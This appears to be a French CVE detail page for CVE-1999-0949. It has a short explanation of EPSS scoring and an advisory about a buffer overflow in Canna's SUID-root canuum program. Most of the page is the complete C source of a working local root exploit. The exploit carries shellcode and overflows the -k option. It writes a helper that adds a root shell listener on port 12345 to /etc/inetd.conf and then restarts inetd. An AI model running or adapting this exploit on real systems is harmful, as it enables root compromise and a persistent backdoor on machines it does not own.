CVE-1999-0949 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/758/info Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese. Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way. Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion. The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'canuum' program. Canuum is a Japanese input tty frontend for Canna using uum. Certain versions have a buffer overflow via unchecked user supplied data in the -k,-c,-n options. Since this program is installed SUID root this attack will result in a root level compromise. /*============================================================================= canuum Exploit for Linux The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include <stdio.h> #define RETADR 1676 #define MAXBUF 2000 #define JMP_OFS 0x200 #define NOP 0x90 #define SHELL "/tmp/pp" #define COMPILER "gcc" char exec[60]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; FILE *fp; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main() { char buf[MAXBUF+1]; unsigned int i,ip,sp; sprintf(buf,"%s.c",SHELL); if ((fp=fopen(buf,"w"))==NULL){ printf("Can not write to %s\n",buf); exit(1); } fprintf(fp,"main(){setuid(0);setgid(0);"); fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i"); fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n"); fclose(fp); sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL); system(buf); memset(buf,'a',MAXBUF); buf[MAXBUF]=0; strcat(exec,SHELL); memcpy(buf+300,exec,strlen(exec)); sp=get_sp(); ip=sp+JMP_OFS; printf("Jumping address = %x\n\n\n",ip); printf("Please execute following command after \"Segmentation Fault\"\n"); printf("\ntelnet localhost 12345\n\n\n"); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0); }